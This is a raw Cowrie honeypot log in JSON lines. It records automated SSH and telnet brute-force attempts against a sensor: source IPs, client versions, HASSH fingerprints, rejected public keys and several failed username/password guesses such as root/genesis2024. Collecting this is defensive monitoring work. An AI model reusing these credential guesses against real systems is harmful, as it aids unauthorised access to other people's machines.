{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:78:9d:76:7b:77:fd:3d:a7:d0:4f:c4:5e:9f:4a:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzIBOqBaDoLM4eNQSh/j03eX2Qmt8bFA3b8zTYejQhzlT9ANsRCr7En8sfcxVGE9mnbiAOVSkNAEJhZNHRBzm46toihkn8vMuPk31geLyDPgWNbLTIi11jAkG/zL/IzwahETeCoAoSNG+uaFhZWYIpMXzI+YHaYPZp3C7XKmXoSR85IUmK1J8YkxIUKN7biSkngwydCnyqhp2LuybU+NibtWtk6LAIeX7rTDERr4NejB8rZgcB3Yc+67g4N23Uw6TZaERpWShewHjFiicdm03fUhjaeX/b/uI3ejXWELhwVi98wO+400thBV+R2HNrAR4jT+JZyLhV5k8eOKP9vgF7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.434564Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:0d:58:cd:0f:23:8e:b1:f5:ba:43:42:57:19:22:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPqSHkCIXqgE9Q3GO+N6a5u+LpiRske4R6MJL1r3DqrLhIKdZihVGkRuWTkltjSx1H+7rYqBfS4EoddYIQeweszkEPdiQynfsYYxPDkJGWDTdOukxuFFSKsZWicED8UiHubujW/cCIuSlFe/xZGAUgW4vZzUNAin/Scti4Wi+//eDZbILuV71fAHWFueazs1NqEuhaPQKurIh822iiqprnHRB1oQm34hSqEaCQ38mtBQTM0hptvUcY+sTZTdx2W4fxPkE3HJufU0Oqq3fTB9/d6HQXAqWN9r+FJoDfgx02PO9VfQ5JUxnYCIq/l5v+mmTdWyWiBlXg3OFSHt5Ezf/9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:0d:58:cd:0f:23:8e:b1:f5:ba:43:42:57:19:22:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.531376Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:0d:58:cd:0f:23:8e:b1:f5:ba:43:42:57:19:22:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPqSHkCIXqgE9Q3GO+N6a5u+LpiRske4R6MJL1r3DqrLhIKdZihVGkRuWTkltjSx1H+7rYqBfS4EoddYIQeweszkEPdiQynfsYYxPDkJGWDTdOukxuFFSKsZWicED8UiHubujW/cCIuSlFe/xZGAUgW4vZzUNAin/Scti4Wi+//eDZbILuV71fAHWFueazs1NqEuhaPQKurIh822iiqprnHRB1oQm34hSqEaCQ38mtBQTM0hptvUcY+sTZTdx2W4fxPkE3HJufU0Oqq3fTB9/d6HQXAqWN9r+FJoDfgx02PO9VfQ5JUxnYCIq/l5v+mmTdWyWiBlXg3OFSHt5Ezf/9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.534282Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:c2:1f:98:97:4e:82:ae:5a:e8:0d:20:7a:30:1b:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJKYpf/lJYbmuasTPqhxtPbwLGTbSkQ0lsCiYkaQZBM76Gv4F0IPo8VagkgO0WscMSNITf6WE+gR7D2BsVuQwr8WEoFdwZpzFrNf3hXsE0KQtwDAoQ//F1x87+W9uz5EJW9iiOR+J0P5iJ8Qxn48UAXjdk3KueofS/brgSmchxEj61HT0o2WCQqK2Bs7FrqD+WFqPUJAHbvPO8hHPiB0sJ7/GuJRlKota9wy3iptc79ldaJW+zGc+nT4+TUONxVGqvbXQ0BerLEI6qTfkOMEx7vSp8u+G3VMiqroVYzkdwBmpF4JVaS1jc/WGaB92QViDDjfwsuaV5DX9egqcgKvPZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:c2:1f:98:97:4e:82:ae:5a:e8:0d:20:7a:30:1b:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.630790Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:c2:1f:98:97:4e:82:ae:5a:e8:0d:20:7a:30:1b:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJKYpf/lJYbmuasTPqhxtPbwLGTbSkQ0lsCiYkaQZBM76Gv4F0IPo8VagkgO0WscMSNITf6WE+gR7D2BsVuQwr8WEoFdwZpzFrNf3hXsE0KQtwDAoQ//F1x87+W9uz5EJW9iiOR+J0P5iJ8Qxn48UAXjdk3KueofS/brgSmchxEj61HT0o2WCQqK2Bs7FrqD+WFqPUJAHbvPO8hHPiB0sJ7/GuJRlKota9wy3iptc79ldaJW+zGc+nT4+TUONxVGqvbXQ0BerLEI6qTfkOMEx7vSp8u+G3VMiqroVYzkdwBmpF4JVaS1jc/WGaB92QViDDjfwsuaV5DX9egqcgKvPZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.633851Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:6d:76:4a:07:6f:28:e7:2b:0b:79:cc:dd:42:dd:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7TRXTygEXIqNWKmVeNRdZnMoLf2hjezR/aeD+ePaA7P/iE4nmHjJKFdlHYQdbp/NspH7rSOGRA3ClpAm5MoC2z36Rii4KBUFGmAK8sxgyYIINASBQG7FJ7NA0KAllZWgJ74MZt0FGdgepEbzdAXpioWLy5Xj581eHp+YVmLU1pHIN1QLkFmfG4RddNq8UDHqyJYe8vezeoCe5TaWubjHt8ClA6PXrufdM8/gMEyv4ewQYbPgszUGNADm4JL2hDV3hGwDKAMSJ7bwtZVLwUdLPRq28TaB2T5GUZsTrn0sgKqp05ppeOxu1SaFDDlnENWVPKMZ3b4gvDjFfgLfqpg9T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:6d:76:4a:07:6f:28:e7:2b:0b:79:cc:dd:42:dd:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.730135Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:6d:76:4a:07:6f:28:e7:2b:0b:79:cc:dd:42:dd:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7TRXTygEXIqNWKmVeNRdZnMoLf2hjezR/aeD+ePaA7P/iE4nmHjJKFdlHYQdbp/NspH7rSOGRA3ClpAm5MoC2z36Rii4KBUFGmAK8sxgyYIINASBQG7FJ7NA0KAllZWgJ74MZt0FGdgepEbzdAXpioWLy5Xj581eHp+YVmLU1pHIN1QLkFmfG4RddNq8UDHqyJYe8vezeoCe5TaWubjHt8ClA6PXrufdM8/gMEyv4ewQYbPgszUGNADm4JL2hDV3hGwDKAMSJ7bwtZVLwUdLPRq28TaB2T5GUZsTrn0sgKqp05ppeOxu1SaFDDlnENWVPKMZ3b4gvDjFfgLfqpg9T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.733877Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:18.830043Z","src_ip":"51.75.149.221","session":"9ff3edbf9d4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60540,"dst_ip":"10.17.0.5","dst_port":22,"session":"beaff8a2f391","protocol":"ssh","message":"New connection: 8.210.75.243:60540 (10.17.0.5:22) [session: beaff8a2f391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:23.647510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:23.773686Z","src_ip":"8.210.75.243","session":"beaff8a2f391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":51328,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f0b64656a6","protocol":"ssh","message":"New connection: 165.227.170.113:51328 (10.17.0.5:22) [session: b2f0b64656a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:24.859276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:24.862910Z","src_ip":"165.227.170.113","session":"b2f0b64656a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:24.944458Z","src_ip":"165.227.170.113","session":"b2f0b64656a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!@#$%^&*","message":"login attempt [test/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:25.302956Z","src_ip":"165.227.170.113","session":"b2f0b64656a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:26.387021Z","src_ip":"165.227.170.113","session":"b2f0b64656a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37190,"dst_ip":"159.203.135.109","dst_port":23,"session":"041027b5408e","protocol":"telnet","message":"New connection: 170.64.224.25:37190 (159.203.135.109:23) [session: 041027b5408e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:31.060139Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":33368,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ea6d3de2f4","protocol":"ssh","message":"New connection: 159.65.58.200:33368 (159.203.135.109:22) [session: b3ea6d3de2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:38.705647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:38.925719Z","src_ip":"159.65.58.200","session":"b3ea6d3de2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:38.928526Z","src_ip":"159.65.58.200","session":"b3ea6d3de2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solovjev","password":"123456","message":"login attempt [solovjev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:40.211754Z","src_ip":"159.65.58.200","session":"b3ea6d3de2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:41.435454Z","src_ip":"159.65.58.200","session":"b3ea6d3de2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44408,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c9af7c7531","protocol":"ssh","message":"New connection: 8.210.75.243:44408 (10.17.0.5:22) [session: 53c9af7c7531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:24:51.319794Z"}
{"eventid":"cowrie.session.closed","duration":36.23239779472351,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:07.292408Z","src_ip":"170.64.224.25","session":"041027b5408e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":56478,"dst_ip":"10.17.0.5","dst_port":22,"session":"70408432410b","protocol":"ssh","message":"New connection: 192.169.197.250:56478 (10.17.0.5:22) [session: 70408432410b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:20.176189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:20.181076Z","src_ip":"192.169.197.250","session":"70408432410b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:20.249624Z","src_ip":"192.169.197.250","session":"70408432410b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"genesis2024","message":"login attempt [root/genesis2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:20.450138Z","src_ip":"192.169.197.250","session":"70408432410b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:21.517901Z","src_ip":"192.169.197.250","session":"70408432410b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38356,"dst_ip":"159.203.135.109","dst_port":23,"session":"02188bfea9a2","protocol":"telnet","message":"New connection: 170.64.224.25:38356 (159.203.135.109:23) [session: 02188bfea9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:28.056849Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56518,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fddabeba3e2","protocol":"ssh","message":"New connection: 8.210.75.243:56518 (10.17.0.5:22) [session: 0fddabeba3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:39.031096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:39.035040Z","src_ip":"8.210.75.243","session":"0fddabeba3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40378,"dst_ip":"10.17.0.5","dst_port":22,"session":"3da416003f75","protocol":"ssh","message":"New connection: 8.210.75.243:40378 (10.17.0.5:22) [session: 3da416003f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:51.320408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:51.324366Z","src_ip":"8.210.75.243","session":"3da416003f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":56730,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9139579132","protocol":"ssh","message":"New connection: 14.29.214.161:56730 (10.17.0.5:22) [session: 0d9139579132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:51.504663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:51.509213Z","src_ip":"14.29.214.161","session":"0d9139579132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:52.425703Z","src_ip":"14.29.214.161","session":"0d9139579132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":53478,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ebc06b69ce","protocol":"ssh","message":"New connection: 165.227.170.113:53478 (10.17.0.5:22) [session: 79ebc06b69ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:52.543109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:52.546960Z","src_ip":"165.227.170.113","session":"79ebc06b69ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:52.634774Z","src_ip":"165.227.170.113","session":"79ebc06b69ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangfeng","message":"login attempt [root/wangfeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:52.995961Z","src_ip":"165.227.170.113","session":"79ebc06b69ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hc123456","message":"login attempt [root/Hc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:53.417639Z","src_ip":"14.29.214.161","session":"0d9139579132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:54.079961Z","src_ip":"165.227.170.113","session":"79ebc06b69ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:54.660836Z","src_ip":"14.29.214.161","session":"0d9139579132","protocol":"ssh"}
